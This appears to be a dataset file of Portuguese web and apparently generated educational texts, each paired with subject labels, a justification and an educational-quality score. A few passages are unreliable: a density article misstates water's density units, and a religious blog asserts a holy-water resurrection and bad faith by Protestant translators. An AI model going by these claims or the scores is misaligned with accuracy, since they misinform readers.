+@ JoãoPortela é tudo relativo. A CPU funcionará na mesma velocidade / tensão até que alguns transistores parem de funcionar corretamente devido à idade. A única maneira de resolver o problema nesse ponto é diminuir a velocidade do clock reduzindo a velocidade do clock ou aumentar a tensão de operação (envelhecimento dos transistores no chip da CPU). E, claro, ao longo do tempo, as unidades de geração de clock na CPU também se tornam instáveis, levando a mais instabilidade do clock. - Breakthrough
+O desempenho de uma CPU é afetado à medida que ela envelhece?
+depois de um ano de uso intensivo, os circuitos degradam e menos elétrons pode passar desde que o caminho é mais estreito, etc.
+a velocidade de uma CPU é determinada por um oscilador de cristal - Tanto quanto eu sei que esta é uma parte externa para a maioria das CPUs
+Imagem de Artigo da TechRepublic
+Cristais sofrem lenta mudança gradual de freqüência com o tempo, conhecido como envelhecimento.
+No entanto, suspeito que isso não seja um fator significativo.
+Deriva com a idade é tipicamente 4 ppm para o primeiro ano e 2 ppm por ano para o vida do cristal DT-26.
+(por TI relativo a um RTC IC, mas acredito que esta taxa é semelhante para os cristais de temporização em geral)
+Mudanças no semicondutor da CPU
+Avanço postou um link para um Artigo do IEEE que descreve a miríade de maneiras que os semicondutores são afetados ao longo do tempo.
+Portanto, é possível que a velocidade máxima do clock da CPU seja reduzida ao longo do tempo. No entanto, na maioria dos casos, isso não fará com que a velocidade máxima teórica do processador caia, dentro de um ano, abaixo da velocidade real de operação definida pelo oscilador de cristal. Portanto, uma CPU...",original,original,original,original,3,0.6
+"Análise por ™•°`°• pre¢iousmμtilatioπ™ •°`°•™
+por ™•°`°• pre¢iousmμtilatioπ™ •°`°•™, a há um mês
+5 927 análises
+por Royallred Zen, a há 14 horas
+por Utilizador do Firefox 14626544, a há 18 horas
+por Michael B, a há 19 horas
+por ZanePonce, a há um dia
+por Derpy, a há um dia
+por Vath VirakPanha, a há um dia
+por Utilizador do Firefox 15293365, a há um dia
+por Utilizador do Firefox 15486508, a há um dia
+por Richard Harding, a há 2 dias
+por Utilizador do Firefox 13730509, a há 2 dias
+por Stanko, a há 2 dias
+por Utilizador do Firefox 15482756, a há 3 dias
+por Utilizador do Firefox 15481130, a há 3 dias
+por Utilizador do Firefox 15480798, a há 3 dias
+por Utilizador do Firefox 12527376, a há 3 dias
+por Utilizador do Firefox 15099743, a há 3 dias
+por Utilizador do Firefox 15479470, a há 4 dias
+por Utilizador do Firefox 15396568, a há 4 dias
+por Utilizador do Firefox 13911818, a há 4 dias
+por Utilizador do Firefox 13872808, a há 4 dias
+por Anne Marie McGaffic, a há 4 dias
+por epanheaded1, a há 5 dias
+por André Teodoro, a há 6 dias
+por Utilizador do Firefox 12622186, a há 6 dias",original,original,original,original,0,0.0
+"No início do jogo-treino, o zagueiro Danilo Silva completou escanteio da direita e abriu o placar para o Internacional
+Porto Alegre, RS, 08 - O técnico Odair Hellmann afirmou que as jogadas de bola parada são uma arma importante do Internacional para vencer as partidas no segundo semestre. Foi em uma jogada desse tipo que o time gaúcho venceu o Atibaia por 2 a 1, em jogo-treino neste domingo, no hotel que a delegação está hospedada na cidade do interior de São Paulo.
+""O mundo inteiro está ganhando os jogos em bola parada. Estamos vendo isso na Copa do Mundo. Entre 65% e 70% das partidas estão sendo definidas em bola parada. E estamos falando dos jogadores do mais alto nível técnico, que têm dificuldades para construir as jogadas, abrir o placar e criar os gols de bola rolando. A bola parada é uma arma"", discorreu o treinador.
+No início do jogo-treino, o zagueiro Danilo Silva completou escanteio da direita e abriu o placar para o Internacional. O segundo gol saiu em jogada pelo lado esquerdo. Juan Alano recebeu dentro da área e chutou colocado. O Atibaia descontou no final, com gol contra do zagueiro Gabriel Silva.
+Por outro lado, o lateral-direito Zeca tem trabalhado normalmente. Apesar de ele ter sido aproveitado a maior parte do jogo-treino no meio de campo, o jogador será usado na ala nas partidas oficiais por Odair Hellmann.
+O Internacional volta às competições no próximo dia 19 contra o Atlético Paranaense, na Arena da Baixada, em Curitiba, pela 13.ª rodada do Campeonato Brasileiro. Os gaúchos estão na quarta posição, com 22 pontos.",original,original,original,original,1,0.2
+" “A mídia israelense está sendo subjugada” _ Observatório da Imprensa
+Reconhecido pelo seu trabalho de aproximação entre jornalismo e paz no Oriente Médio, o professor Dov Shinar, nasceu em São Paulo, Brasil, em 1936, mas vive em Israel desde 1950. PhD em Comunicação, o jornalista e pesquisador é Decano da Escola de Comunicação do Netanya Academic College e diretor do Fair Media: Centro de Estudos de Conflito, Guerra e Paz.
+Na esteira de uma extensa experiência profissional, suas áreas de interesse incluem mídia na guerra e na paz; comunicação e desenvolvimento humano, enfatizando identidade coletiva e memória; dimensões socioculturais de tecnologias da comunicação e comunicações internacionais.
+O professor emérito da Universidade de Concordia (Montreal) e da Universidade de Ben-Gurion, defensor do Estado laico em Israel, concedeu esta entrevista em sua casa, em Jerusalém, em dezembro do ano passado, numa tarde de sexta-feira, no início do shabat (shãbath, em hebraico, dia que para os judeus deve ser guardado). Em setembro de 2012, Shinar forneceu novas informações por e-mail sobre o desenrolar dos fatos citados e do ambiente vivido em Israel nesse período.
+O resultado pode ser conferido a seguir. A entrevista traz uma análise da atual situação da imprensa em Israel, das pressões políticas que instituições como a Justiça e as universidades sofrem no país e de como o nacionalismo e a religião vêm ganhando espaço nas decisões de Estado.
+Como o senhor vê a situação da imprensa em Israel?
+D.S. – Não é uma lei exatamente, é uma medida de emergência que vem do período de dominação britânica na Palestina. Na Segunda Guerra Mundial, foi empregada para combater a propaganda nazista [medida promulgada por autoridades britânicas em 1945 na Palestina ocupada, por meio dos Defence (Emergency) Regulations, que instituíam a censura a livros e jornais. Depois da criação do Estado de Israel, em 1948, as leis foram incorporadas à legislação do país].
+Antes da existência desse acordo, o jornal inteiro era submetido à censura?
+D.S. – Tudo, o jornal inteiro, até as palavras cruzadas, publicidade, tudo.
+Portanto, existe uma censura funcionando?
+D.S. – Militar, uma censura militar, uma censura sobre temas relacionados à segurança.
+Qual análise o senhor faz da situação da democracia no país?
+E esses ataques limitam-se ao Judiciário?
+Isso é parte desse ataque contra a mídia?
+O que quer dizer “passar para o outro lado”?
+A quem responde o oficial, ao comandante ou ao rabino, há uma confusão de esferas, não?
+D.S. – Não é só uma confusão de esferas. Veja, eu não acredito em teoria da conspiração; isso reflete o que está acontecendo na sociedade. O público recebe o governo que merece. Esse governo de direita foi eleito pelo público. Não sei se é conspiração. Mas sem dúvida é uma tendência muito assustadora.
+O que aconteceria, por exemplo, se Tzipi Livni [política israelense, ex-líder do partido Kadima]fosse eleita primeira-ministra? Não bateriam continência?
+À esquerda, não há os que acusam o seu discurso de ser uma defesa, em nome da liberdade de imprensa, da imprensa de direita também?
+O senhor está usando a palavra liberal no sentido da democracia americana…
+D.S. – Não, hoje isso mudou. Hoje você tem novas organizações, como a JStreet, nos Estados Unidos, que já aceitam as teses da esquerda.Mas a maioria, a liderança das comunidades judaicas do mundo, é conservadora. Acho que, no Brasil, também. Fiz algumas palestras lá [no Brasil]; eu me saí mais ou menos bem, não me atacaram, é gente civilizada. Mas é um problema, Israel sempre é um problema, não importa o que você faça… [risos]
+No espectro dos jornais de Israel, hoje, o que ler?
+D.S. – Não muito popular. Esse pessoal que apoia a direita não lê muito jornal, não. Vê televisão, vê essa coisa de cozinha na TV, reality shows.
+D.S. – Não, é um jornal partidário, mas tem alguns bons jornalistas, um deles está até no Knesset [parlamento israelense]. Aliás, há uma grande representação de jornalistas no Knes...",original,original,original,original,3,0.6
+"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? A matemática está presente em cada pedacinho do nosso dia a dia, e as medidas são uma parte super importante dela! Hoje, vamos embarcar em uma aventura para descobrir como medir diferentes coisas e por que isso é tão útil.
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+Imagine que você vai fazer um bolo delicioso com a sua família. Para que o bolo fique perfeito, precisamos medir os ingredientes com cuidado. Usamos xícaras e colheres para medir a quantidade de farinha, açúcar e leite. Essas medidas nos ajudam a ter certeza de que o bolo vai ficar fofinho e saboroso! As medidas de capacidade, como litros e mililitros, são muito importantes na cozinha e também para saber a quantidade de água que bebemos durante o dia.
+
+Outra coisa legal é medir o tempo! Usamos relógios e calendários para organizar nossas atividades e saber quanto tempo levamos para fazer as coisas. Por exemplo, quanto tempo você gasta para ir da sua casa até a escola? Ou quanto tempo dura o seu programa de TV favorito? Medir o tempo nos ajuda a planejar o nosso dia e a não perder nenhum compromisso importante. Podemos usar segundos, minutos, horas, dias, semanas, meses e anos, cada um para medir diferentes períodos de tempo.
+
+E que tal medir o comprimento das coisas? Usamos réguas, fitas métricas e até mesmo nossos próprios pés para medir o tamanho de objetos, a altura das pessoas e a distância entre lugares. Se você quer saber qual é o tamanho da sua mesa, pode usar uma régua para medir em centímetros ou metros. Se você quer saber a distância entre a sua casa e a casa do seu amigo, pode usar um mapa e medir em quilômetros. Saber medir comprimentos nos ajuda a construir coisas, planejar viagens e entender melhor o mundo ao nosso redor.
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+Além disso, temos as medidas de massa, que geralmente chamamos de peso. Usamos balanças para medir a massa dos alimentos, dos objetos e até mesmo das pessoas. Quando vamos ao supermercado, vemos que as frutas e os legumes são vendidos por quilo (kg). O quilo é uma unidade de medida de massa muito comum, mas também podemos usar gramas (g) para medir coisas menores, como temperos e especiarias.
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+Agora, pensem um pouquinho: como vocês usam as medidas no dia a dia de vocês? Já ajudaram a medir os ingredientes de uma receita? Já usaram uma régua para medir o tamanho de um brinquedo? Já prestaram atenção no tempo que levam para fazer as atividades? Explorar o mundo das medidas é como abrir uma porta para um mundo de possibilidades matemáticas! Ao aprender a medir, vocês se tornam detetives do dia a dia, capazes de resolver problemas, planejar atividades e entender melhor o mundo ao seu redor. Então, continuem explorando, medindo e descobrindo as maravilhas da matemática!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O texto apresenta informações básicas sobre medidas (capacidade, tempo, comprimento, massa) de forma acessível e contextualizada para crianças. Introduz conceitos importantes do currículo de matemática do ensino fundamental, como unidades de medida e suas aplicações práticas, utilizando uma linguagem clara e consistente, com exemplos relevantes para o cotidiano dos alunos. O trecho incentiva a exploração e a aplicação do conhecimento, tornando-o altamente valioso para fins educacionais.",5,1.0
+"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? Medir é como descobrir um segredo, um número mágico que nos conta o tamanho, o peso, a capacidade ou até mesmo a duração de algo. É uma ferramenta super útil que usamos todos os dias, mesmo sem perceber!
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+Imagine que você está ajudando a fazer um bolo delicioso. A receita pede 2 xícaras de farinha. A xícara é uma forma de medir a quantidade de farinha necessária. Se colocarmos menos, o bolo pode ficar duro. Se colocarmos mais, pode ficar massudo. Viu só? Medir é importante para o bolo ficar perfeito!
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+E quando você vai comprar uma barra de chocolate? Olha lá no rótulo! Lá está escrito o peso, geralmente em gramas (g). O peso nos diz a quantidade de chocolate que você está comprando. Uma barra com mais gramas tem mais chocolate, certo?
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+Outro exemplo: quando vamos encher uma piscina inflável, precisamos saber quanta água cabe nela. A capacidade da piscina é medida em litros (L). Saber quantos litros a piscina comporta nos ajuda a não desperdiçar água e a enchê-la na medida certa para a diversão!
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+Até mesmo o tempo é medido! Usamos relógios para marcar as horas, os minutos e os segundos. Assim, sabemos quando é hora de ir para a escola, de brincar ou de dormir. O tempo nos ajuda a organizar o nosso dia e a aproveitar cada momento.
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+Mas, como fazemos para medir? Usamos diferentes instrumentos! Para medir o comprimento, podemos usar uma régua, uma fita métrica ou até mesmo os nossos passos! Para medir o peso, usamos balanças. Para medir a capacidade, usamos jarras e copos medidores. E para medir o tempo, usamos relógios e calendários.
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+Aprender sobre medidas é como abrir uma porta para um mundo cheio de possibilidades. Com as medidas, podemos construir casas, cozinhar pratos deliciosos, planejar viagens e entender melhor o mundo ao nosso redor. Que tal começar a explorar o mundo das medidas hoje mesmo? Pegue uma régua, uma balança ou um relógio e comece a medir tudo o que encontrar! O que você descobriu de mais interessante sobre as medidas ao seu redor? Será que o seu brinquedo favorito é mais alto ou mais baixo que um livro? Divirta-se explorando!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de medidas de forma lúdica e acessível para crianças, com exemplos práticos e cotidianos (bolo, chocolate, piscina, tempo). A linguagem é clara e estimulante, incentivando a exploração e a descoberta. Aborda diferentes tipos de medidas (comprimento, peso, capacidade, tempo) e instrumentos utilizados, adequados ao ensino fundamental, especialmente nos anos iniciais. O texto é coerente, focado e promove um aprendizado estruturado sobre o tema.",5,1.0
+"Adriana Esteves deixa elenco da novela 'Favela Chique', da TV Globo - Purepeople
+Adriana Esteves não está mais no elenco de 'Favela Chique', em 6 de agosto de 2014
+Adriana Esteves fez sucesso com a vilã Carminha em 'Avenida Brasil'
+Adriana Esteves ganhou férias da TV Globo para descansar a imagem
+Adriana Esteves é casada com Vladimir Brichta
+Adriana Esteves gosta de correr na orla da praia
+Adriana Esteves deixa elenco de 'Favela Chique'
+06 agosto 2014 - 16h16
+Zezé Polessa deixa elenco de 'Joia Rara' e é substituída por Ana Lúcia Torre",original,original,original,original,0,0.0
+"Quer saber como você pode solicitar o seu cartão de crédito Next sem anuidade de forma rápida e fácil? Nós vamos te ajudar!
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+Para ter o cartão Next Internacional, é necessário, antes de mais nada, criar a conta digital da instituição. Para realizar a criação da conta, deve-se seguir o passo a passo descrito a seguir:
+Primeiramente, você deve abrir o seu navegador preferido (Google Chrome, Mozilla Firefox, Opera, Microsoft Edge, entre outros). Lembre-se sempre de optar por um browser seguro e que não irá expor os seus dados na internet.
+Após abrir o seu navegador, entre no site do Banco Next. No entanto, você deve se certificar de que encontra-se no endereço oficial da empresa. Após essa verificação de segurança, deve-se abrir o menu lateral e procurar pela opção “Conta Next”.
+Você será redirecionado para outra página e lá, após rolar a tela, encontrará um espaço para preencher seus dados e dar início a abertura de conta. Lhe serão requisitados dados como nome completo, o seu CPF, e-mail e confirmação de e-mail.
+É importante salientar que você deve utilizar o seu melhor email, ou então aquele que acessa com mais frequência, para que o contato do Next seja facilitado. Eles lhe enviarão diversos e-mails de confirmação e será necessário que você esteja sempre atento.
+Após certo tempo, o banco irá lhe contatar pelo endereço de e-mail informado anteriormente. Daí em diante começará toda a parte burocrática do processo.
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+A partir deste ponto você necessitará enviar algumas informações: documento de identificação com foto, podendo ser RG, CNH ou até mesmo carteira militar; e um comprovante de residência, podendo estar em seu nome ou no nome dos seus pais. Lembrando que este último deve ser de, no máximo, 180 dias.
+Após o envio dos dados e documentos, caso ocorra a aprovação, daí para frente você será considerado um cliente Next. Depois disso, é só solicitar o cartão dentro do próprio aplicativo.
+É muito importante destacar que, para que ocorra a sua aprovação, é necessário prestar atenção a alguns detalhes. Sem saber destas pequenas informações, pode ocorrer que o banco não aprove a criação da sua conta.
+Dentre esses detalhes encontra-se o fato de que você deve ter pelo menos 18 anos completos para que possa ter a conta. Além disso, é importante sempre relembrar que, por mais que o banco não exija renda mínima, há um empecilho que pode alterar toda a sua situação.
+Trata-se de algo bem simples. Caso seu score seja bom , você não terá grandes dificuldades para criar a conta. Entretanto, caso você esteja negativado, as suas chances de conseguir ser aprovado serão muito baixas, já que oferecerá elevados riscos.
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+Antes de mais nada, você necessita baixar o aplicativo do Banco Next. Para se certificar de que está baixando o app oficial, é só realizar o download pela Play Store caso você use o sistema Android, ou então pela App Store caso você use iOS.
+Ao entrar no aplicativo, você deve tocar em “Criar conta”. O Next necessitará da sua geolocalização para facilitar a abertura da conta e a entrega do cartão. Após isso, você deverá fornecer dados como CPF, nome completo, e-mail, celular e data de nascimento.
+Após isso, você deverá criar uma ...",original,original,original,original,1,0.2
+"Programa Florescer forma a terceira turma
+Novas parcerias e lan&ccedil;amento do Projeto Ambiental s&atilde;o as novidades para 2007
+A terceira turma de 40 educandos do Programa Florescer, uma das a&ccedil;&otilde;es de responsabilidade social das Empresas Randon, de Caxias do Sul (RS) ter&aacute; formatura no dia 14 de mar&ccedil;o. O paraninfo ser&aacute; o diretor corporativo e de rela&ccedil;&otilde;es com investidores das Empresas Randon, Astor Milton Schmitt e os homenageados ser&atilde;o o instrutor de educa&ccedil;&atilde;o corporal, Diego Ortiz Mascarello e a instrutora de atividades pedag&oacute;gicas, Luciana Zanela Padilha. Depois de formados, os alunos passar&atilde;o a integrar o Programa Qualificar - Forma&ccedil;&atilde;o B&aacute;sica, outra a&ccedil;&atilde;o de responsabilidade social das Empresas Randon, onde ter&atilde;o atividades voltadas para a inser&ccedil;&atilde;o no ensino aprendiz.
+Voltado para forma&ccedil;&atilde;o integral e inclus&atilde;o social, o Florescer atende a 320 crian&ccedil;as e adolescentes de 7 a 14 anos em situa&ccedil;&atilde;o de vulnerabilidade social, com atividades pedag&oacute;gicas, culturais e esportivas, entre elas refor&ccedil;o escolar, inform&aacute;tica, ingl&ecirc;s e musicaliza&ccedil;&atilde;o.
+Para o ano de 2007, a parceria entre o Programa Florescer e a Escola de M&uacute;sica da Orquestra Sinf&ocirc;nica da Universidade de Caxias do Sul, possibilitar&aacute; a inser&ccedil;&atilde;o dos jovens em classes de instrumentos da orquestra - violoncelos, flauta transversal, clarinetes, trombones, trompetes, obo&eacute;, entre outros. Em outubro, juntamente com a Orquestra da UCS, o Coro Infanto-Juvenil do Programa Florescer, participar&aacute; da Quinta Sinf&ocirc;nica do Dia da Crian&ccedil;a, com o musical Menino Maluquinho. Tamb&eacute;m, para este ano, ser&aacute; ampliada a parceria com o Recreio da Juventude, onde as crian&ccedil;as ter&atilde;o acesso &agrave;s escolinhas de futsal, basquete e gin&aacute;stica ol&iacute;mpica. As atividades acontecer&atilde;o na sede do clube.
+O Florescer lan&ccedil;ar&aacute; em abril o Projeto de Educa&ccedil;&atilde;o Ambiental, que objetiva estimular a conscientiza&ccedil;&atilde;o e a participa&ccedil;&atilde;o das crian&ccedil;as e adolescentes do Programa, com rela&ccedil;&atilde;o &agrave; preserva&ccedil;&atilde;o do meio ambiente, por meio de a&ccedil;&otilde;es de educa&ccedil;&atilde;o ambiental.
+O qu&ecirc;: Formatura do Programa Florescer
+Quando: 14 de mar&ccedil;o, &agrave;s 18h30min
+Onde: Audit&oacute;rio da Suspensys, em Caxias do Sul (RS)
+Última atualização em 2016-08-29T16:52:05",original,original,original,original,1,0.2
+"Você já se sentiu como um detetive, tentando desvendar um mistério? Resolver problemas de matemática é muito parecido! Em vez de pistas escondidas em um livro, temos números, operações e informações que, quando organizadas, nos levam à solução. 
+
+No dia a dia, a resolução de problemas está em toda parte. Imagine que você e seus amigos querem dividir uma pizza em partes iguais. Quantos pedaços cada um vai comer? Ou, se você está juntando dinheiro para comprar um jogo novo, quanto precisa economizar por semana para atingir seu objetivo? Essas são situações reais que envolvem a matemática e a capacidade de resolver problemas. 
+
+O primeiro passo para se tornar um mestre na resolução de problemas é a leitura atenta. Leia o problema com calma, identifique o que ele está pedindo e quais informações são importantes. Sublinhe as palavras-chave, anote os dados relevantes e tente visualizar a situação. Imagine que você está criando um filme na sua cabeça! 
+
+Depois, é hora de planejar a sua estratégia. Qual operação matemática você precisa usar? Adição, subtração, multiplicação ou divisão? Ou talvez uma combinação delas? Pense em problemas parecidos que você já resolveu e veja se a mesma estratégia pode funcionar. Uma dica importante: muitas vezes, desenhar um diagrama ou fazer um esquema pode ajudar a visualizar o problema e encontrar a solução. 
+
+Vamos a um exemplo prático: Maria quer comprar um livro que custa R$35,00. Ela já tem R$12,00 guardados. Quanto dinheiro Maria ainda precisa juntar? Neste caso, precisamos subtrair o valor que Maria já tem do preço total do livro. R$35,00 - R$12,00 = R$23,00. Portanto, Maria precisa juntar mais R$23,00. Viu como é simples? 
+
+Outro exemplo: João quer dividir 24 balas entre seus 4 amigos. Quantas balas cada amigo vai receber? Aqui, precisamos dividir o número total de balas pelo número de amigos. 24 ÷ 4 = 6. Cada amigo receberá 6 balas. 
+
+Não tenha medo de errar! A resolução de problemas é um processo de aprendizado. Se você não conseguir resolver o problema de primeira, não desanime. Tente outra estratégia, revise seus cálculos e peça ajuda se precisar. O importante é persistir e nunca desistir de aprender. 
+
+Para finalizar, pense na seguinte questão: Como a resolução de problemas pode te ajudar em outras áreas da sua vida, além da matemática? A capacidade de analisar informações, planejar estratégias e encontrar soluções é valiosa em qualquer situação, seja nos estudos, no trabalho ou nos relacionamentos. Então, continue praticando, explorando e desvendando os enigmas matemáticos que surgirem no seu caminho! ",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, pois introduz a resolução de problemas de forma lúdica e contextualizada, utilizando exemplos práticos e relevantes para o cotidiano dos alunos. A linguagem é clara e acessível, incentivando a persistência e o aprendizado contínuo. Aborda conceitos matemáticos básicos de forma integrada e estimula o desenvolvimento de habilidades de análise e planejamento. O texto é adequado para o ensino fundamental, promovendo um aprendizado estruturado e significativo.",5,1.0
+"A IGREJA, A REFORMA E A CIVILIZAÇÃO: OS MINISTROS DA NOVA ALIANÇA INTERPRETAM CORRETAMENTE A BÍBLIA
+BECO SEM SAÍDA E OS MINISTROS DA NOVA ALIANÇA
+É HUMANAMENTE IMPOSSÍVEL DETERMINAR COM SEGURANÇA
+- Qual foi o sentido que Cristo quis colocar em sua afirmação: ""ISTO É O MEU CORPO""?
+- Fosse a Bíblia interpretada segundo o parecer humano estaríamos num beco sem saída.
+Um texto bíblico pode, algumas vezes, ser interpretado literal, ou simbolicamente e nesse caso qual dos dois sentidos seria o correto?
+""Durante a refeição, Jesus tomou o pão e, depois de o benzer, partiu-o e deu-lho, dizendo: Tomai, isto é o meu corpo"" (Mc 14,22).
+Humanamente seria impossível determinar com segurança qual foi o sentido que Cristo quis colocar em sua afirmação.
+Fosse a Bíblia interpretada segundo o parecer humano estaríamos num beco sem saída.
+A quem, então, recorrer para saber o sentido verdadeiro?
+""Ele é que nos fez aptos para ser ministros da Nova Aliança, não a da letra, e sim a do Espírito. Porque a letra mata, mas o Espírito vivifica."" (II Cor 3,6)
+Tal significa que podemos recorrer a estes ""ministros da Nova Aliança"", ou a seus sucessores legítimos.
+São a eles que o Espírito tornou aptos para indicar-nos qual é o sentido verdadeiro das Escrituras.
+PORTANTO, NÃO DISPOMOS APENAS DAS ESCRITURAS, MAS TAMBÉM DE MINISTROS CAPAZES DE INTERPRETÁ-LA SEGUNDO O ESPÍRITO
+POSTAGEM SEGUINTE - Foram terríveis os prejuízos causados pelos tradutores protestantes em todas as suas tentativas de traduzir as Sagradas Escrituras. A incompetência, aliada muitas vezes a má fé, causou danos irreparáveis aos ensinamentos de Jesus Cristo na terra contribuindo decisivamente para a dispersão de seu rebanho.
+POSTAGEM ANTERIOR - De acordo com o jornal Daily Mail uma jovem britânica de 13 anos voltou à vida depois que um padre colocou água benta em sua cabeça. Lucy Hussey-Bergonzi estava condenada à morte depois de sofrer uma hemorragia cerebral em 2009.",original,original,original,original,2,0.4
+"Estudo Prático » Física » Densidade
+Densidade é o termo usado na química para nomear a relação entre a massa de um determinado material e o volume que ele ocupa.…
+Por Natália Petrin em 09/12/2014
+Densidade é o termo usado na química para nomear a relação entre a massa de um determinado material e o volume que ele ocupa. Ficou difícil entender? Vamos explicar melhor. A densidade é usada para determinar quanto daquela matéria pode ser colocada em uma determinada unidade de voluma. Por exemplo, vamos considerar o leite e o mercúrio. A primeira substância possui uma densidade menor do que a da segunda, de forma que podemos concluir que em um mesmo volume teremos mais matéria de mercúrio do que de leite.
+Substâncias e suas densidades
+A densidade, apesar de no SI ser expressa em kg/m³, normalmente é expressa em gramas por centímetro cúbico, ou seja, g/cm³, independentemente de se tratar de uma substância sólida ou líquida. Confira abaixo alguns elementos comuns em nosso dia a dia e suas densidades:
+O cálculo da densidade pode ser feito de uma forma muito simples: basta que você divida a massa pelo volume, conforme demonstrado na expressão abaixo.
+Quando observamos essa expressão, podemos chegar a uma conclusão: a densidade é inversamente proporcional ao volume, ou seja, quanto maior a densidade, menor será o volume ocupado por uma determinada massa de uma substância. Não deu para entender? Vamos pensar… 1 kg de chumbo e 1 kg de algodão tem o mesmo peso, ou seja, 1 kg. Mas será que ocupam o mesmo espaço? 1 kg de algodão ocupará muito mais espaço do que 1 kg de chumbo, portanto a densidade do chumbo é maior do que a do algodão.
+O volume é uma grandeza química que pode ser alterada pela temperatura e pela pressão e, diante deste fato, podemos chegar à conclusão de que a densidade também será alterada por esses fatores. Para entender melhor como isso afeta, podemos pegar a água, uma substância que todos conhecem e tem familiaridade. Quando a temperatura está em aproximadamente 4°C e a uma pressão de 1,0 atm, a densidade será igual a 1,0 g/m³. Isso, no entanto, será completamente diferente quando a temperatura for abaixo de 0°C, mesmo que esteja sob a mesma pressão. A densidade diminuirá para 0,92 g/cm³.
+Por que o gelo boia?
+Analisando a densidade da água, podemos chegar também à explicação de por que o gelo boia. O material que tem uma densidade menor flutuará naquele de densidade maior. Como o gelo possui uma densidade inferior à da água no estado líquido, ele acabará boiando quando inserido nela.	Informar erro",original,original,original,original,4,0.8
+"Já parou para pensar por que a água do rio corre, o gelo na sua bebida a mantém gelada e o ar que respiramos nos permite viver? A resposta está nos estados físicos da matéria! Tudo ao nosso redor é feito de matéria, e essa matéria pode se apresentar em três formas principais: sólida, líquida e gasosa. Vamos embarcar juntos nessa aventura para entender cada uma delas!
+
+Imagine um cubo de gelo. Ele é duro, tem uma forma definida e, mesmo que você o coloque em diferentes lugares, ele continua sendo um cubo de gelo, certo? Isso acontece porque, no estado sólido, as moléculas que formam a matéria estão bem juntinhas e organizadas, vibrando em seus lugares. A madeira da sua carteira, o metal de uma moeda e o plástico de uma caneta são outros exemplos de sólidos.
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+Agora, pense na água que você bebe. Ela não tem uma forma fixa: se você a coloca em um copo, ela toma a forma do copo; se a derrama em um prato, ela se espalha. No estado líquido, as moléculas estão mais soltas do que nos sólidos, o que permite que elas se movam e deslizem umas sobre as outras. Isso dá aos líquidos a capacidade de fluir e se adaptar ao recipiente que os contém. Além da água, o suco, o óleo e o álcool são exemplos de líquidos.
+
+E o ar que respiramos? Ele é invisível, não podemos pegá-lo, mas sabemos que está ali. No estado gasoso, as moléculas estão ainda mais afastadas e se movem muito rapidamente, em todas as direções. Elas não têm forma nem volume definidos, e por isso os gases se espalham facilmente, ocupando todo o espaço disponível. O vapor de água que sai da panela quando sua mãe cozinha, o gás que usamos no fogão e o ar que enche uma bola são exemplos de gases.
+
+Mas a transformação não para por aí! A matéria pode mudar de um estado para outro, dependendo da temperatura. Se aquecemos o gelo (sólido), ele derrete e se transforma em água (líquido). Se continuamos aquecendo a água, ela evapora e se transforma em vapor (gasoso). E o contrário também pode acontecer: o vapor se condensa e vira água, e a água congela e vira gelo. Essas mudanças são chamadas de mudanças de estado físico.
+
+Já se perguntou como seria o mundo se a água não pudesse mudar de estado? Não teríamos chuva, rios ou oceanos! As mudanças de estado da matéria são fundamentais para a vida na Terra e para muitos processos que acontecem ao nosso redor. Então, da próxima vez que você vir um cubo de gelo derretendo ou a água fervendo, lembre-se da fascinante jornada da matéria e de como ela está presente em tudo o que nos cerca!",Ciências,Estados físicos da matéria,anos finais (6º ao 9º ano),"O texto introduz de forma clara e acessível os estados físicos da matéria, usando exemplos práticos e cotidianos que facilitam a compreensão para alunos do ensino fundamental. A linguagem é adequada à faixa etária, e a progressão do conteúdo é lógica, partindo do sólido, passando pelo líquido e chegando ao gasoso, culminando nas mudanças de estado. Aborda conceitos importantes do currículo de ciências e estimula a curiosidade dos alunos.",5,1.0
+CUT SC > LISTAR NOTÍCIAS > DESTAQUE CENTRAL > TRABALHADORES PARALISARAM BUDNY CONTRA DEMISSÃO DE EX-FUNCIONÁRIO E DIRETOR SINDICAL,original,original,original,original,1,0.2
+"Já parou para pensar como sabemos a ordem em que as coisas aconteceram? Imagine tentar montar um quebra-cabeça gigante sem saber qual peça vem antes ou depois! Para organizar os eventos do passado (e até do presente!), usamos uma ferramenta incrível chamada Linha do Tempo. 
+
+A Linha do Tempo é como uma régua gigante que mede o tempo, só que em vez de centímetros, ela usa anos, décadas, séculos e até milênios! Ela nos ajuda a visualizar quando os eventos importantes da história aconteceram, desde a invenção da roda até a chegada do homem à Lua. Pense nela como uma estrada onde cada marco representa um acontecimento.
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+No nosso dia a dia, também usamos a ideia de linha do tempo! Ao contar uma história para um amigo, você organiza os eventos na ordem em que aconteceram, certo? Primeiro, você acordou, depois tomou café, foi para a escola e assim por diante. Essa é uma linha do tempo pessoal! A diferença é que, na História, as linhas do tempo são muito maiores e mostram eventos que afetaram muitas pessoas ao longo de muitos anos.
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+Para entender melhor, vamos pensar na história do Brasil. Podemos criar uma linha do tempo que começa com a chegada dos portugueses em 1500, passa pela Independência em 1822, pela Proclamação da República em 1889, até chegar aos dias de hoje. Em cada um desses momentos, podemos adicionar detalhes importantes, como quem eram os líderes, quais eram os costumes da época e quais mudanças aconteceram na sociedade. Assim, a linha do tempo nos ajuda a entender como o Brasil se transformou ao longo dos séculos.
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+A linha do tempo não é uma simples lista de datas; ela nos ajuda a entender as relações entre os eventos. Por exemplo, a invenção da imprensa por Gutenberg no século XV teve um impacto enorme na disseminação do conhecimento, o que, por sua vez, influenciou a Reforma Protestante e o Renascimento. Conseguem perceber como um evento pode levar a outro?
+
+Construir linhas do tempo é uma atividade super legal e pode te ajudar a aprender História de um jeito muito mais divertido! Que tal criar uma linha do tempo da sua própria vida? Ou da história da sua cidade? Ou até mesmo da sua família? Use sua criatividade, pesquise e divirta-se desvendando os mistérios do tempo!
